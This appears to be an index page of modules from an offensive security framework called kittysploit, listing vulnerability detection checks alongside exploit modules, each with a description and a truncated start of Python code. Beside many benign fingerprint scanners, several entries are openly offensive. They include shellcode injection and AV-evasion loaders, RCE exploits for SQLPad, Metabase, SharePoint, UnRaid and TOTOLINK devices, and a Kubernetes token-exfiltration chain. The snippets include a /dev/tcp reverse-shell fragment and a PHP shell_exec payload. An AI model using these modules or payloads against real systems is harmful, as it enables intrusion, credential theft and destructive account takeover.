Argilla Panel - Detect

Argilla is an open-source data labelling platform for AI and LLM fine-tuning workflows. It provides a web interface for annotating datasets used in machine learning model training. !/usr/bin/env python3 -- coding: utf-8 -- """Argilla is an open-source data labelling platform for AI and LLM...

LobeHub LobeChat <= 2.1.56 - Server-Side Request Forgery Detection

LobeHub LobeChat versions up to and including 2.1.56 are vulnerable to an unauthenticated server-side request forgery vulnerability in the /webapi/proxy endpoint. The endpoint accepts a URL in the POST request body and fetches it server-side without authentication. !/usr/bin/env python3 -- coding...

Dropbear sshd Detection

Dropbear is a software package written by Matt Johnston that provides a Secure Shell-compatible server and client. It is designed as a replacement for standard OpenSSH for environments with low memory and processor resources, such as embedded systems !/usr/bin/env python3 -- coding: utf-8 --...

SysAid Login Panel - Detect

Detects the presence of a SysAid Help Desk Software login panel by identifying characteristic login pages, favicon hash, and system-specific content. !/usr/bin/env python3 -- coding: utf-8 -- """Detects the presence of a SysAid Help Desk Software login panel by identifying characteristic login...

WAVLINK - Access Control Detection

Wavlink WN530HG4, WN531G3, WN533A8, and WN551K are susceptible to improper access control via /cgi-bin/ExportAllSettings.sh, where a crafted POST request returns the current configuration of the device, including the administrator password. No authentication is required. The attacker must perform...

Manage Cabinet Register - Exposed Detection

The path to the Cabinet Storage is omniapp/pages/cabinet/managecabinet.jsf?Action=1. If exposed, it gives an attacker insight into information such as Storage Volume Name, Cabinet Name, it's alias, Deployed AppServer IP Address and Port !/usr/bin/env python3 -- coding: utf-8 -- """The path to the...

iTop Hub Connector - Information Disclosure Detection

Combodo iTop is a simple, web based IT Service Management tool. Server, OS, DBMS, PHP, and iTop info name, version and parameters can be read by anyone having access to iTop URI. This issue has been patched in versions 2.7.11, 3.0.5, 3.1.2, and 3.2.0. !/usr/bin/env python3 -- coding: utf-8 --...

Pi-hole Reflected XSS in 404-Error Page Detection

Pi-hole Admin Interface = 6.2.1 contains a reflected XSS vulnerability on the 404 error page. The URL path is reflected unsanitized into the class attribute of the body tag, allowing attribute injection via a crafted URL to execute arbitrary JavaScript in victim browsers. !/usr/bin/env python3 --...

Liferay - Local File Inclusion Detection

Liferay is vulnerable to local file inclusion in the I18n Servlet because it leaks information via sending an HTTP request to /language/resource;.js also .jsp works. !/usr/bin/env python3 -- coding: utf-8 -- """Liferay is vulnerable to local file inclusion in the I18n Servlet because it leaks...

Netscaler Gateway Detection

Citrix NetScaler is an application delivery controller that improves the delivery speed and quality of applications to an end user. !/usr/bin/env python3 -- coding: utf-8 -- """Citrix NetScaler is an application delivery controller that improves the delivery speed and quality of applica.""" from...

Metaflow UI Panel - Detect

Metaflow is an open-source ML platform created by Netflix for building and managing real-life data science projects. The Metaflow UI provides a web interface for monitoring and managing Metaflow runs and flows. !/usr/bin/env python3 -- coding: utf-8 -- """Metaflow is an open-source ML platform...

FortiAP Login Panel - Detect

FortiAP login panel was detected. !/usr/bin/env python3 -- coding: utf-8 -- """FortiAP login panel was detected.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name': 'FortiAP Login Panel - Detect', 'description': 'FortiAP...

Swim Team <= v1.44.10777 - Local File Inclusion Detection

The program /wp-swimteam/include/user/download.php allows unauthenticated attackers to retrieve arbitrary files from the system. !/usr/bin/env python3 -- coding: utf-8 -- """The program /wp-swimteam/include/user/download.""" import re from kittysploit import from lib.protocols.http.httpclient...

Apache Tomcat - Open Redirect Detection

Apache Tomcat versions prior to 9.0.12, 8.5.34, and 7.0.91 are prone to an open-redirection vulnerability because it fails to properly sanitize user-supplied input. !/usr/bin/env python3 -- coding: utf-8 -- """Apache Tomcat versions prior to 9.""" import re from kittysploit import from...

VMware Cloud Director Login Panel - Detect

VMware Cloud Director login panel was detected. !/usr/bin/env python3 -- coding: utf-8 -- """VMware Cloud Director login panel was detected.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name': 'VMware Cloud Director Login...

CVSweb - Detect

CVSweb is a WWW interface for CVS repositories with which you can browse a file hierarchy on your browser to view each file's revision history in a very handy manner. !/usr/bin/env python3 -- coding: utf-8 -- """CVSweb is a WWW interface for CVS repositories with which you can browse a file...

Duplicator < 1.5.7.1; Duplicator Pro < 4.5.14.2 - Unauthenticated Sensitive Data Exposure Detection

The Duplicator WordPress plugin before 1.5.7.1, Duplicator Pro WordPress plugin before 4.5.14.2 does not disallow listing the backups-dup-lite/tmp directory or the backups-dup-pro/tmp directory in the Pro version, which temporarily stores files containing sensitive data. When directory listing is...

HP iLO Serial Key - Detect

HP iLO serial key was detected. !/usr/bin/env python3 -- coding: utf-8 -- """HP iLO serial key was detected.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name': 'HP iLO Serial Key - Detect', 'description': 'HP iLO serial...

HTTP Request Smuggling Scanner

Probes for HTTP request smuggling CL.TE / TE.CL by sending crafted requests that front-end and back-end parse differently. !/usr/bin/env python3 -- coding: utf-8 -- """ HTTP Request Smuggling scanner: detects desync between front-end and back-end by sending crafted requests with conflicting...

Wordpress Plugin ACF Frontend Display

Wordpress Plugin ACF Frontend Display = 2.0.6 - Arbitrary File UploadThe ACF-Frontend-Display plugin through 2015-07-03 for WordPress has arbitrary file upload via an action=upload request to js/blueimp-jQuery-File-Upload-d45deb1/server/php/index.php. from kittysploit import from...

osTicket CVE-2026-22200 Patch Detect

Unauthenticated checks from Horizon3 check.py: login username pre-validation v1.18.3+/v1.17.7+ patch and optional open.php HTML srcset stripping. Full CNEXT RCE chain is not bundled — file read alone does not yield a session. !/usr/bin/env python3 -- coding: utf-8 -- """Detect osTicket...

FortiSIEM SendQueryResult Arbitrary File Write (CVE-2026-106173)

CVE-2026-106173: unauthenticated path traversal and embedded NUL in SendQueryResult gRPC/HTTP/2, TCP 27918. Overwrite or create arbitrary files — blind, no session. !/usr/bin/env python3 -- coding: utf-8 -- """ CVE-2026-106173 — FortiSIEM unauthenticated arbitrary file write blind. Auxiliary:...

Palo Alto Expedition CVE-2024-9465 SQLi Detect

Horizon3 check: Checkpoint parser SQL injection via SLEEP10. No session — chain with exploits/multi/http/paloaltoexpeditioncve20249464rce. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Palo Alto Expedition unauthenticated SQLi CVE-2024-9465, Horizon3.""" import time from kittysploit import...

Lantronix EDS3000PR — Authenticated Command Injection in SSL `-passin pass:%s` → — Detect

Fingerprint / reachability check for Lantronix EDS3000PR — Authenticated Command Injection in SSL -passin pass:%s → Root RCE !/usr/bin/env python3 -- coding: utf-8 -- """Detection for Lantronix EDS3000PR — Authenticated Command Injection in SSL -passin pass:%s → Root RCE""" from kittysploit impor...

Opengear NGCS Firmware 25.11.8 — PDU `name` Command Injection (Authenticated Adm — Detect

Fingerprint / reachability check for Opengear NGCS Firmware 25.11.8 — PDU name Command Injection Authenticated Administrator to Root RCE !/usr/bin/env python3 -- coding: utf-8 -- """Detection for Opengear NGCS Firmware 25.11.8 — PDU name Command Injection Authenticated Administrator to Root R"""...

TigerGraph Community Edition 4.2.4 — Default Hard-Coded Credentials + GSQL Arbit — Detect

Fingerprint / reachability check for TigerGraph Community Edition 4.2.4 — Default Hard-Coded Credentials + GSQL Arbitrary File Write + Unauthenticated REST++ Trigger → SSH RCE as tigergraph !/usr/bin/env python3 -- coding: utf-8 -- """Detection for TigerGraph Community Edition 4.2.4 — Default...

AdRem NetCrunch Startup Script RCE — Detect

Fingerprint / reachability check for AdRem NetCrunch Startup Script RCE !/usr/bin/env python3 -- coding: utf-8 -- """Detection for AdRem NetCrunch Startup Script RCE""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = "name":...

Devolutions Server test-script PAM gate bypass RCE

Administrator login then POST /api/pam/provider-templates/test-script with PamSystemVault GUID in query bypasses entitlement gate and runs PowerShell. """Devolutions Server PAM gate bypass + test-script PowerShell SYSTEM RCE.""" from future import annotations import json import re from kittysploi...

Leostream Connection Broker — Unauthenticated Server.Register Rogue-Agent Regist — Detect

Fingerprint / reachability check for Leostream Connection Broker — Unauthenticated Server.Register Rogue-Agent Registration + SSRF !/usr/bin/env python3 -- coding: utf-8 -- """Detection for Leostream Connection Broker — Unauthenticated Server.Register Rogue-Agent Registration + SSRF""" from...

crawl4ai CVE-2026-91940 arbitrary file write

CVE-2026-91940 crawl4ai 0.9.3: POST /crawl with PDFContentScrapingStrategy and attacker-controlled imagesavedir writes extracted image streams to disk. Hosts a minimal PDF on lhost:lport and triggers /crawl. Patched versions return HTTP 400 not permitted. Requires API token on 0.9.2. !/usr/bin/en...

WordPress Unlimited Elements blind SQLi (CVE-2026-103355)

CVE-2026-103355: Unlimited Elements for Elementor = 2.0.20 concatenates terms-listing parent IDs into WPTermQuery. When two pages exist whose widget stores boolean tautology vs falsity payloads, comparing rendered term output confirms blind SQL injection. Provide oracletruepath and oraclefalsepat...

Phproject CVE-2026-104991 detect

Detects self-hosted Phproject = 1.8.6 REST issue API used in CVE-2026-104991 missing allowAccess on read/comment endpoints when security.restrictaccess is enabled. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Phproject issue tracker CVE-2026-104991 REST BOLA context.""" import re from...

Classic Remote Shellcode Injection

Build an injector EXE that decrypts shellcode and injects it into a remote process via VirtualAllocEx/WriteProcessMemory/CreateRemoteThread. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.compile.backdoorhelpers import buildencryptedzigbackdoor, optionvalue from...

Keycloak CVE-2026-18963 reset-credentials bypass

CVE-2026-18963 Keycloak 26.0.0–26.7.1: re-navigation to reset-credentials re-opens the authentication selector and reset-credential-email accepts success without the emailed action token. Default: detect-only; set confirm=true to overwrite the target user's password destructive ATO. !/usr/bin/env...

SQLPad CVE-2022-0944 Detect

Detects SQLPad web console. !/usr/bin/env python3 -- coding: utf-8 -- """Detects SQLPad web console.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = "name": "SQLPad CVE-2022-0944 Detect", "description": "Detects SQLPad web...

Joomla Simple Membership CVE-2026-102782 Detect

Detects OrdaSoft comsimplemembership 7.4.0 and reachable checkLoginPass task. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Joomla Simple Membership CVE-2026-102782.""" import re from urllib.parse import urlencode from kittysploit import from lib.protocols.http.httpclient import Httpclient...

Binwalk CVE-2022-4510 Detect

Detects Binwalk web admin console authenticated plugin RCE chain. !/usr/bin/env python3 -- coding: utf-8 -- """Detects Binwalk web admin console authenticated plugin RCE chain.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info =...

XOR Shellcode Runner Evasion

Windows x64 EXE pure Zig: XOR-encrypted embedded shellcode, RW→RX, CreateThread. Compiled with the same Zig pipeline as zigshellevasion. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.compile.backdoorhelpers import compilezigpe, generatepayloadbytes, optionvalue,...

PDF.js CVE-2024-4367 FontMatrix RCE delivery

CVE-2024-4367: Type1 FontMatrix injection runs JavaScript in PDF.js viewers; upload malicious PDF and callback to LHOST for confirmation. !/usr/bin/env python3 -- coding: utf-8 -- """PDF.js CVE-2024-4367 FontMatrix JavaScript execution via PDF upload.""" from future import annotations import os...

SQLPad CVE-2022-0944 Handlebars SSTI RCE

CVE-2022-0944 SQLPad = 6.10.0: unauthenticated POST /api/test-connection embeds attacker input in Handlebars templates leading to Node childprocess.execSync blind; exfil or reverse shell. !/usr/bin/env python3 -- coding: utf-8 -- """SQLPad CVE-2022-0944 unauthenticated Handlebars SSTI RCE blind."...

Kener CVE-2026-105030 status monitor detect

Detects Kener status dashboard 4.0.0–4.1.5 public monitor-bar API used in CVE-2026-105030 hidden monitor disclosure. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Kener CVE-2026-105030 monitor API exposure.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient...

OpenSTAManager CVE-2025-69212 Detect

Detects OpenSTAManager login authenticated import RCE chain. !/usr/bin/env python3 -- coding: utf-8 -- """Detects OpenSTAManager login authenticated import RCE chain.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = "name":...

binwalk CVE-2022-4510 PFS traversal RCE

CVE-2022-4510 binwalk & /dev/tcp/lhost/lport 0&1",\n stdin=subprocess.DEVNULL...

Metabase CVE-2023-38646 H2 trigger RCE

CVE-2023-38646 Metabase 0.46.7: leaked setup-token plus /api/setup/validate H2 JDBC string runs a CREATE TRIGGER whose JavaScript body calls Runtime.exec blind — confirm via callback or shell. !/usr/bin/env python3 -- coding: utf-8 -- """Metabase CVE-2023-38646 pre-auth H2 JDBC trigger RCE...

TOTOLINK A3700R Command Injection (CVE-2023-46574)

Exploits CVE-2023-46574 in TOTOLINK A3700R: command injection in the FileName parameter of UploadFirmwareFile via /cgi-bin/cstecgi.cgi. !/usr/bin/env python3 -- coding: utf-8 -- """TOTOLINK A3700R firmware upload command injection CVE-2023-46574.""" import json import re from kittysploit import...

Zammad CVE-2026-102489 Session Fixation Detect

Detects Zammad helpdesk instances potentially vulnerable to CVE-2026-102489 session fixation leading to RCE as the zammad user. Affects Zammad 6.3.0–6.5.4; chain with CVE-2026-102490 for root LPE. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Zammad session fixation RCE surface...

SharePoint ToolPane Register Injection RCE (CVE-2026-65660)

Exploits CVE-2026-65660 in Microsoft SharePoint: unescaped quotes in MSOTlPnDWP Register directive reconstruction allow injecting additional directives and XamlServices.Parse gadget chains via AddGallery/ToolPane endpoints. !/usr/bin/env python3 -- coding: utf-8 -- """SharePoint ToolPane Register...

UnRaid webGui PHP RCE (CVE-2020-5847)

Exploits CVE-2020-5847 in UnRaid str: php = f'?php echo shellexec"strcmd.replacechr34, chr...

Zammad Local Privilege Escalation (CVE-2026-102490)

Post-exploitation module for CVE-2026-102490: escalates from the zammad service user to root on Zammad installations when a writable sudoers drop-in, cron job, or package hook is abusable. Intended as the second stage after CVE-2026-102489 session fixation RCE. !/usr/bin/env python3 -- coding:...

mcp-server-kubernetes RCE (CVE-2026-61459)

Full-chain CVE-2026-61459: inject --server into kubectl MCP tools to exfiltrate the cluster bearer token, then create a privileged pod running the configured reverse CMD payload via the Kubernetes API. !/usr/bin/env python3 -- coding: utf-8 -- """mcp-server-kubernetes argument injection to pod RC...